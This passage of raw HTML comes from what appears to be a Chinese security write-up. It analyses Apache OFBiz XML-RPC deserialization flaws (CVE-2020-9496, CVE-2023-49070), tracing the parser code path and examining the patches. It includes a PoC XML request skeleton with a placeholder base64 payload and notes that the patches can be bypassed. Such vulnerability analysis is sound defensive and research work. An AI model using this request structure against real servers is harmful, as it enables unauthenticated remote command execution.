class="code-snippet__name">param</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">params</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">methodCall</span>&gt;</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="307" data-backw="578" data-galleryid="" data-imgfileid="100004736" data-ratio="0.5305555555555556" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=240b49eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhKJO1YAsicfK6FQqZYxbicuWAs2sBpVOZIdicwQ3jV4stp3AicicfavNCiaOg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;letter-spacing: 0.034em;">发送请求，dnslog成功收到请求信息。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="395" data-backw="578" data-galleryid="" data-imgfileid="100004737" data-ratio="0.6840052015604682" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="769" src="https://wechat2rss.xlab.app/img-proxy/?k=96e5b640&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhDEML6jb2KIzo7YXI8xJdqY89LQvhY3XXZz7B2CTN50cSRzHTq4niatQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><span style="font-size: 18px;letter-spacing: 0.034em;text-align: left;"></span><span style="font-size: 18px;letter-spacing: 0.034em;text-align: left;"></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">1-5. 漏洞分析</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">入口</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/webtools/control/xmlrpc</span><span style="font-size: 18px;">的路由配置在</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">\framework\webtools\webapp\webtools\WEB-INF\web.xml</span><span style="font-size: 18px;">，由</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ControlServlet</span><span style="font-size: 18px;">处理；</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004738" data-ratio="0.4341004184100418" data-s="300,640" style="" data-type="png" data-w="956" src="https://wechat2rss.xlab.app/img-proxy/?k=477f7cd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhQjAbtwkmz6vDBsoDnAchNHNLGhWLIfFnphHPIibHicnH22XbPtl4YZzg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">直接下断点开始跟踪调试，提取了一堆值，然后调用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">requestHandler.doRequest()</span><span style="font-size: 18px;">处理具体请求；</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004739" data-ratio="0.512962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6f1affa7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhvrDEbAq6LiaI8uOCcenzBhSxwgcibK6dukI8oic941ia0V64uUic97Uwg5w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">跟进，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">requestMap</span><span style="font-size: 18px;">是从</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">\framework\webtools\webapp\webtools\WEB-INF\controller.xml</span><span style="font-size: 18px;">中获取到的</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">xmlrpc</span><span style="font-size: 18px;">相关处理器；</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="369" data-backw="578" data-galleryid="" data-imgfileid="100004740" data-ratio="0.637962962962963" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=68c61f58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhXcVoGv7YIdE9ZYe33V0qgyvib82sAQqzDVREqtWXc7dY0wrFMibjPw2A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">跟进</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">RequestHandler.runEvent()</span><span style="font-size: 18px;">方法，调用XmlRcpEventHandler处理 XML-RPC 请求，传递必要的参数，然后获取并保存事件处理器执行后的返回结果。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="212" data-backw="578" data-galleryid="" data-imgfileid="100004741" data-ratio="0.3675925925925926" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=143b56e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhdNzmiafUVcvTcnmfZQ8Wibbmicn5W381OcACnic9aq6T24iaic9ibW4BMXfcw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">跟进，调用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">getRequest()</span><span style="font-size: 18px;">获取信息对象；</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="339" data-backw="578" data-galleryid="" data-imgfileid="100004742" data-ratio="0.5871212121212122" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="792" src="https://wechat2rss.xlab.app/img-proxy/?k=fa8082ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhglX6uyZoAsQAxVibukdXvdACQsI56yicydLKjicT2WOWpowmZEy6zjVgA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">先依次扫描</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;methodCall&gt;、&lt;methodName&gt;、&lt;params&gt;、&lt;param&gt;、&lt;value&gt;</span><span style="font-size: 18px;">元素标签，记录它的值；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="580" data-backw="578" data-galleryid="" data-imgfileid="100004743" data-ratio="1.004201680672269" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="952" src="https://wechat2rss.xlab.app/img-proxy/?k=06570228&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhvCvTRoQkxIg2MkD4Sf6MOIYOuYZib3fLS4ER4HgttWAxMSkHL7KJIvw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">读到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;struct&gt;</span><span style="font-size: 18px;">标签，返回一个MapParser对象；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="328" data-backw="578" data-galleryid="" data-imgfileid="100004744" data-ratio="0.5685185185185185" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c23dfc5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhsY8dJGHjhmiarVSHusIkjXiaKpM4DCq3ickgFoFOq81uzCMIeR5iaQn6rA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">重复调用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">XmlRpcRequestParser.startElement()</span><span style="font-size: 18px;">，继续读取元素标签及其值；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="277" data-backw="578" data-galleryid="" data-imgfileid="100004745" data-ratio="0.47962962962962963" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=32d19435&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhqmAHVzS7I6KW0Ydtdrc5J8h1vgVricibuV48FZTpWia0nibQ0FMH7Py7qQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">读到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;serializable&gt;</span><span style="font-size: 18px;">标签和使用的XML-RPC 扩展库链接时，跟进到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">RecursiveTypeParserImpl.startElement()</span><span style="font-size: 18px;">，只有当</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">pURI</span><span style="font-size: 18px;">与</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">EXTENSIONS_URI</span><span style="font-size: 18px;">相同时，才能匹配且返回SerializableParser对象，所以payload中必须要添加这个扩展库；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="237" data-backw="578" data-galleryid="" data-imgfileid="100004746" data-ratio="0.40925925925925927" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1ee04161&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDh5LibDjsROebW7OU3KSP0OKwtkdtHjlYxr2EhVJ7TibhCrm01pib6xeOiaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">SerializableParser是继承ByteArrayParser的，所以跟进到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ByteArrayParser.startElement(</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">)</span><span style="font-size: 18px;">，创建了一个base64解码器，将payload解码写入baos中。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="233" data-backw="578" data-galleryid="" data-imgfileid="100004747" data-ratio="0.40370370370370373" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8c6121e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDherIs0Isunv5iaJ6MC7WXibGaAvXlKhL63rpeTcMJwZzWKXSfGOV5ncVQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">然后开始扫描结束标签，扫描到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;/serializable&gt;</span><span style="font-size: 18px;">标签，将payload的字节码设为result；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="210" data-backw="578" data-galleryid="" data-imgfileid="100004748" data-ratio="0.3638888888888889" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e7187e8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhoYYicZHHaVlKTQDNvHefpRsqTGbSuRQJ6CxL6u2mWq33b6jFHI2VhPQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">接着扫描到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;/value&gt;</span><span style="font-size: 18px;">标签，解析SerializableParser对象中的result添加到到结果中；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="387" data-backw="578" data-galleryid="" data-imgfileid="100004749" data-ratio="0.6702898550724637" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="828" src="https://wechat2rss.xlab.app/img-proxy/?k=33d9fa73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhicIP4rkFianTricP5rtI8RNq9gia2yQD7wjHzyKzzF9g8acRheD2pmSYkg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">跟进</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">SerializableParser.getResult()</span><span style="font-size: 18px;">，对payload字节数组进行了反序列化，触发命令执行。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="283" data-backw="578" data-galleryid="" data-imgfileid="100004750" data-ratio="0.4890173410404624" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="865" src="https://wechat2rss.xlab.app/img-proxy/?k=2920ca30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDh81B28xYbteG6CLvD3IDzzJ93UtS4pNWaZkx0iblWzGKCHICibOqTTNCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="color: rgb(99, 188, 128);"><strong><span style="color: rgb(99, 188, 128);font-size: 20px;">1-5-1. 使用 array 标签</span></strong></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">前面使用的是 struct 结构传入数据，扫描到标签返回的是MapParser对象，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">MapParser.endElement()</span><span style="font-size: 18px;">中调用了父类</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">RecursiveTypeParse</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">rImpl.endValueTag()</span><span style="font-size: 18px;">，进而调用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">SerializableParser.getResult()</span><span style="font-size: 18px;">。</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">同理，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ObjectArrayParser.endElement()</span><span style="font-size: 18px;">中也调用了父类</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">RecursiveTypeParserImpl.endValueTag()</span><span style="font-size: 18px;">，所以也可以使用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;array&gt;</span><span style="font-size: 18px;">标签构造传入数组数据触发反序列化。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="103" data-backw="557" data-galleryid="" data-imgfileid="100004751" data-ratio="0.18491921005385997" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=c243035d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDh8y9giasXKjJ1FSYvJzCvvtBsKYTzTC59WUD2uHh6Nic9koQaELMc34WA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">poc：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34;?&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">methodCall</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">methodName</span>&gt;</span>ProjectDiscovery<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">methodName</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">params</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">param</span>&gt;</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">                   <span class="code-snippet__tag">&lt;<span class="code-snippet__name">array</span>&gt;</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">data</span>&gt;</span></span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">                                 <span class="code-snippet__tag">&lt;<span class="code-snippet__name">serializable</span> <span class="code-snippet__attr">xmlns</span>=<span class="code-snippet__string">&#34;<a href="http://ws.apache.org/xmlrpc/namespaces/extensions" target="_blank">http://ws.apache.org/xmlrpc/namespaces/extensions</a>&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">                                     base64 payload</span></code><code><span class="code-snippet_outer">                                 <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">serializable</span>&gt;</span></span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">data</span>&gt;</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">array</span>&gt;</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">param</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">params</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">methodCall</span>&gt;</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="237" data-backw="578" data-galleryid="" data-imgfileid="100004752" data-ratio="0.4111111111111111" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1cb6cebe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhbgImc19k8ibeibCE88g2Al0qEF7jBVdrIhSlD7gkHXZr6J73icJbLdqOA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">1-6. 补丁分析</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">补丁链接：<a href="https://github.com/apache/ofbiz-framework/commit/d955b03" target="_blank">https://github.com/apache/ofbiz-framework/commit/d955b03</a></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">在controller.xml中对</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/xmlrpc</span><span style="font-size: 18px;">和</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/ping</span><span style="font-size: 18px;">路由添加了身份校验。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="213" data-backw="578" data-galleryid="" data-imgfileid="100004753" data-ratio="0.368220742150333" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1051" src="https://wechat2rss.xlab.app/img-proxy/?k=f225c50f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhicCUVoiblNsKRDpZKvdlibmy2uT3uB9PjoficURJacJLViaCJI9ApW1pAzA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;">但是身份校验仍然可以绕过，产生POST-Auth漏洞（OFBIZ-12332）：</span></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;"><a href="https://issues.apache.org/jira/browse/OFBIZ-12332" target="_blank">https://issues.apache.org/jira/browse/OFBIZ-12332</a></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">又在后续补丁中添加CacheFilter对</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/control/xmlrpc</span><span style="font-size: 18px;">和</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;/serializable</span><span style="font-size: 18px;">进行校验，但是还是可以绕过。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="471" data-backw="527" data-galleryid="" data-imgfileid="100004754" data-ratio="0.8937381404174574" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="527" src="https://wechat2rss.xlab.app/img-proxy/?k=bd9e8314&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhQObmewhE58RdEsAFfdHAj6FQY40ue4UdsySiaOs7QDa8Rw88deAPiabw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 24px;line-height: 3em;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">2. </span><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">XML-RPC反序列化命令执行（CVE-2023-49070）</span></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">2-1. 前言</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方通告：</span></strong><span style="font-size: 18px;"></span></p><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;"><a href="https://issues.apache.org/jira/browse/OFBIZ-1281" target="_blank">https://issues.apache.org/jira/browse/OFBIZ-1281</a></span></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;"><a href="https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3" target="_blank">https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3</a></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏</span></strong><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">洞描述</span></strong><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">：</span></strong><span style="font-size: 18px;"></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">由于对CVE-2020-9496修复的不完全，导致可以绕过路径检查和授权检查触发恶意数据的反序列化。</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影</span></strong><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 